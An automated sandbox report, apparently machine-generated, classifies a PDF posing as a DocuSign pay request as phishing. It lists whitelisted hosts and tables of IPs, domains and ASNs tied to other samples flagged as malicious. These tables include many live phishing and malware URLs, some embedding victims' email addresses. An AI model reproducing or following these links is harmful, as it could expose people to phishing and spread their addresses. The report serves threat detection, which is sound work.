Classification:	mal76.phis.winPDF@31/105@26/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.204.76.141, 54.144.73.197, 18.207.85.246, 34.193.227.236, 107.22.247.231, 162.159.61.3, 172.64.41.3, 23.221.212.219, 23.221.212.204, 199.232.210.172, 192.229.211.108, 199.232.214.172, 192.178.50.67, 172.217.2.206, 142.251.107.84, 34.104.35.123, 104.89.170.175, 104.89.170.193, 142.250.217.202, 142.250.64.170, 142.251.35.234, 192.178.50.42, 192.178.50.74, 142.250.189.138, 172.217.165.202, 142.250.217.234, 142.250.217.170, 172.217.2.202, 142.250.64.138, 23.45.49.174, 23.45.49.200, 23.45.49.175, 23.45.49.201, 208.111.136.0, 142.250.189.131, 104.89.170.205, 104.89.170.198
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, a1894.dscb.akamai.net, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, wantyourfeedback.com, a122.dscd.akamai.net, update.googleapis.com, email.wantyourfeedback.com, www.bing.com, e40491.dscg.akamaiedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, evoke-windowsservices-tas.msedge.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, geo2.adobe.com, r4.res.office365.com.edgekey.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: DocuSign_Payapp#5_Pay_Requests.pdf

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.32.98	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse
104.21.32.98	Advanced_IP_Scanner_2.5.4594.1_net.exe	Get hash	malicious	Unknown	Browse
239.255.255.250	phish_alert_sp2_2.0.0.0 - 2024-04-26T151509.287.eml	Get hash	malicious	HTMLPhisher	Browse
	Lab5-1.docx	Get hash	malicious	Unknown	Browse
	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	https://messageis.ru/pre/profile/message	Get hash	malicious	HTMLPhisher	Browse
	https://herofargwsmnncmwsrcnmwsncmwscnm.popsy.site/	Get hash	malicious	HTMLPhisher	Browse
	MSG.docx	Get hash	malicious	Unknown	Browse
	http://trailersalesandparts.ca	Get hash	malicious	Unknown	Browse
	MSG.docx	Get hash	malicious	Unknown	Browse
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse
152.199.4.44	https://herofargwsmnncmwsrcnmwsncmwscnm.popsy.site/	Get hash	malicious	HTMLPhisher	Browse
	https://gjyefv.degaris.com/	Get hash	malicious	HTMLPhisher	Browse
	https://www.flowcode.com/page/theferrucciolawfirm	Get hash	malicious	Unknown	Browse
	Housecallpro Chase Bank ACH.htm	Get hash	malicious	Unknown	Browse
	https://4yu76uyd4.best/ccon/	Get hash	malicious	Unknown	Browse
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse
	https://flicker-candle-sunspot.glitch.me/wond276816auing.html	Get hash	malicious	Unknown	Browse
	https://lide.alosalca.fun/highbox#joeblow@xyz.com	Get hash	malicious	HTMLPhisher	Browse
	https://www.bing.com/ck/a?!&&p=8c604c2d3901cb1eJmltdHM9MTcxMjc5MzYwMCZpZ3VpZD0wODdjNjgyYy00N2ZlLTYyOGQtMzA1ZC03YmVmNDY5NTYzNjUmaW5zaWQ9NTE2MQ&ptn=3&ver=2&hsh=3&fclid=087c682c-47fe-628d-305d-7bef46956365&u=a1aHR0cHM6Ly9rZWljb3NlY3VyaXR5LmNvbS5teC8&ntb=1	Get hash	malicious	Unknown	Browse
104.94.108.142	RFd2zutX8H.exe	Get hash	malicious	Unknown	Browse
	Benefits Open Enrollment 2024 #U007e Closes on Friday For Carboline	Get hash	malicious	HTMLPhisher	Browse
	Invoices.xls	Get hash	malicious	Unknown	Browse
	Orden_T7405.xla.xlsx	Get hash	malicious	Unknown	Browse
	IF-07b_SIGS-EN-ICS-IC-002_SMC-SCU ICD_v31_19-03-2014.pdf.exe	Get hash	malicious	Unknown	Browse
	btui2YGkc5.exe	Get hash	malicious	NetSupport RAT	Browse
	btui2YGkc5.exe	Get hash	malicious	NetSupport RAT	Browse
	swift_copy.xls	Get hash	malicious	Unknown	Browse
	kSWf9QrxMR.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Iu4a4i5N15.exe	Get hash	malicious	Unknown	Browse
104.21.93.58	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse
	https://r20.rs6.net/tn.jsp?f=001NdUjQbShLjPEoJXEPe4uscikF9DeiuI06G1LhWRNRKyrYyqo6TLcAL3c_R4vTPh0pysY7ICud6VKtpI4V3Ww3ApCnLchitmzq64UCE0JU3OfEqTzdIWlaslcKlffQZuAhZZNJ50aAOaEUpJRTRptcw==&c=&ch=&__=kmeyer@osugiving.com	Get hash	malicious	HTMLPhisher	Browse
	https://app.donorview.com/Communication/Click?prm=uEvQjbLyROfQy1XICroxZgnn6zkK-jxszv3c-V7QVTzbyWCRnwEo72rfjdFLOn6LD-AbzGoObSWvJEDMZH3l_sAl_z1NUhFuXl1zt3juOmIcN_J3w3rrSbzKkTErDNu48wmAjuOwMWYFji5HSlNfrNvlQzfcdYndFW3XpMVPR1ahJlmQEYNAysRt4-YWnhMQPXKbA4Diq5MECXxH0hT8_be4LADzMz-s1ZJP8a9qn301&target=https://calm-snowflake-5721.on.fleek.co/#lauren.walsh@ifcfilms.com%20https://app.donorview.com/Communication/Click?prm=uEvQjbLyROfQy1XICroxZgnn6zkK-jxszv3c-V7QVTzbyWCRnwEo72rfjdFLOn6LD-AbzGoObSWvJEDMZH3l_sAl_z1NUhFuXl1zt3juOmIcN_J3w3rrSbzKkTErDNu48wmAjuOwMWYFji5HSlNfrNvlQzfcdYndFW3XpMVPR1ahJlmQEYNAysRt4-YWnhMQPXKbA4Diq5MECXxH0hT8_be4LADzMz-s1ZJP8a9qn301&target=https://calm-snowflake-5721.on.fleek.co/#lauren.walsh@ifcfilms.com	Get hash	malicious	HTMLPhisher	Browse
	message.html	Get hash	malicious	HTMLPhisher	Browse
	#U23ef#Ufe0e#U007eNewCall_RecordVMail2PM.htm	Get hash	malicious	HTMLPhisher	Browse
	https://bafkreiais4dunagcgilxllob4kqwnh3wzk5rp5ab56ydlamnysg2vrx2ya.ipfs.dweb.link/#giles_pearson@edinburghairport.com	Get hash	malicious	HTMLPhisher	Browse
	http://bafkreico54kh3lsyhtl6fq4xinrnue4ajv5p6czogr3r57abb65axxt2xa.ipfs.dweb.link/#pparke@moog.com	Get hash	malicious	HTMLPhisher	Browse
	https://bafkreico54kh3lsyhtl6fq4xinrnue4ajv5p6czogr3r57abb65axxt2xa.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse
	https://bafkreic4qqqflx3zvoud3teucvftskwumhupa2nmot7auevfruoirlg4yq.ipfs.dweb.link/#jebersold@tedsmontanagrill.com	Get hash	malicious	HTMLPhisher	Browse
	securedoc_20230927T143528.html	Get hash	malicious	HTMLPhisher	Browse
172.67.223.170	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dwqef.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	172.67.223.170
dfgrt.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	172.67.223.170
wreg.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	104.21.32.98
cs1100.wpc.omegacdn.net	https://herofargwsmnncmwsrcnmwsncmwscnm.popsy.site/	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://gjyefv.degaris.com/	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://www.flowcode.com/page/theferrucciolawfirm	Get hash	malicious	Unknown	Browse	152.199.4.44
	Housecallpro Chase Bank ACH.htm	Get hash	malicious	Unknown	Browse	152.199.4.44
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://4yu76uyd4.best/ccon/	Get hash	malicious	Unknown	Browse	152.199.4.44
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	152.199.4.44
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MDg4MzE4LCJtZXNzYWdlX2lkIjoiMGd4dnAwdGZzeWpiNm4yamRiMDRuYWd5IzcyNWE1YTc5LTgxYzQtNGM0Yy1iNmI1LTdmMTY0MTM2ZTE2NCIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjI0MzE4LCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtLmJyYWRlbnRvbmNjLmluZm8vP2VvdmlldWJyJnFyYz1yZW5lZS5zY2h3YXJ0ekBxci5jb20uYXUiLCJpbmRpdmlkdWFsX2lkIjoiODdiZTY3MTdlZjJmMThjYzI3YmMyMWQ4OTJhY2Q2NzAifQ.iusDS7mld4iiq9DDY82R1MJ9ToHxmMDW3SMbDENZOZQ	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse	152.199.4.44
yukrtg.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	172.67.223.170
dyjt.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	104.21.32.98
part-0013.t-0009.t-msedge.net	https://herofargwsmnncmwsrcnmwsncmwscnm.popsy.site/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://gjyefv.degaris.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://www.flowcode.com/page/theferrucciolawfirm	Get hash	malicious	Unknown	Browse	13.107.213.41
	Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://4yu76uyd4.best/ccon/	Get hash	malicious	Unknown	Browse	13.107.246.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
bdfdbdf.pivitai.net	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	104.21.32.98

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	phish_alert_sp2_2.0.0.0 - 2024-04-26T151509.287.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://messageis.ru/pre/profile/message	Get hash	malicious	HTMLPhisher	Browse	104.21.88.109
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://trailersalesandparts.ca	Get hash	malicious	Unknown	Browse	104.17.25.14
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	104.21.89.211
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://live.easygenerator.com/review/course/3850bd4a-58ae-47b2-bb6f-157e213d949f/	Get hash	malicious	Unknown	Browse	104.18.12.112
	https://webcompanion.com/nano_download.php?	Get hash	malicious	Unknown	Browse	104.19.208.152
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MTQxMDYyLCJtZXNzYWdlX2lkIjoiMGd5MHB6amd2a3hmeTlnN24wNzkzdzQ3IzIzYWUwMmFhLWVjMDQtNGYwMy1iODk3LWM4NjMyYzU3ZDIxMyIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1Njc3MDYyLCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtbWVzc2FuZ2VyLnJkb2NtZ2xvYmFsLmNvbS9kb2NzL2luZGV4LnBocD9tYWlsPSUyMHNlYW4uZnVlbGxoYXJ0QGJhbmthdGNpdHkuY29tJnBhdGhzPWFib3ZlJmxpbms9RmF4X091dGxvb2siLCJpbmRpdmlkdWFsX2lkIjoiNDBmMjcwMDVjM2U0ZWRkMzE4MTUyNDIxMWMwZmNiZDYifQ.HuxvS7w7UGVjl7M8LBH9yLcIGAIbx_lymrlb7oZbnQ4	Get hash	malicious	Captcha Phish	Browse	1.1.1.1
AKAMAI-ASUS	file.exe	Get hash	malicious	Vidar	Browse	23.194.234.100
	https://gjyefv.degaris.com/	Get hash	malicious	HTMLPhisher	Browse	23.193.106.20
	file.exe	Get hash	malicious	Unknown	Browse	23.50.112.29
	file.exe	Get hash	malicious	Unknown	Browse	23.50.112.28
	factura - ztcpyqiqtfiewxjhesna.msi	Get hash	malicious	Unknown	Browse	23.44.94.139
	file.exe	Get hash	malicious	Vidar	Browse	23.194.234.100
	RemotePCHost.exe	Get hash	malicious	Unknown	Browse	184.31.62.93
	https://autode.sk/4bb5BeV	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.214.187.157
	aios3.exe	Get hash	malicious	Unknown	Browse	184.31.60.185
	http://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	Get hash	malicious	HTMLPhisher	Browse	23.59.235.214
CLOUDFLARENETUS	phish_alert_sp2_2.0.0.0 - 2024-04-26T151509.287.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://messageis.ru/pre/profile/message	Get hash	malicious	HTMLPhisher	Browse	104.21.88.109
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://trailersalesandparts.ca	Get hash	malicious	Unknown	Browse	104.17.25.14
	MSG.docx	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://open.camscanner.com/doc/download_file?platform=web&type=118&sid=8c5645d2944c4b262e3b5813d266f0d5&title=ProjectUpdate-X	Get hash	malicious	HTMLPhisher	Browse	104.21.89.211
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
